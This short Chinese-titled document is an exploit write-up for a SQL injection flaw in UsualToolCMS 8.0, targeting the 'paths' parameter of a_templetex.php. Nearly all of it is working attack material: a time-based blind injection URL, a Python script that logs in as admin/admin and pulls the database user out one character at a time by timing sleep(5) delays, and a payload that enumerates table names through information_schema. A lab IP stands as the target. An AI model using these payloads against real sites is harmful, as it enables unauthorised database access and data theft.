UsualToolCMS 8.0 sql注⼊漏洞

Copya_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),1,1))>0,sleep(5),1)--+

Copy# -*- coding:utf-8 -*-
import time
import requests
session = requests.session()
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0'}
img_url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/class/UsualToolCMS_Code.php?r=13720'
img_req = session.get(url=img_url,headers=headers).content
with open('pic.png','wb') as f:
    f.write(img_req)
code = input('请输入验证码：')
data = {
    'uuser':'admin',
    'upass':'admin',
    'ucode':code
}
payloads = list('root@localhostasfafsasf')
url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_login.php?do=login'
response = session.post(url=url,headers=headers,data=data)
res_url_1 = "http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),{},1))={},sleep(5),1)--+"
result = ''
for i in range(1,15):
    for payload in payloads:
        res_url_2 = res_url_1.format(str(i),ord(payload))
        start_time = time.time()
        response = session.get(url=res_url_2,headers=headers)
        if time.time() - start_time > 7:
            result = result + payload
            print(result)
            break

Copya_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,sleep(5),1)--+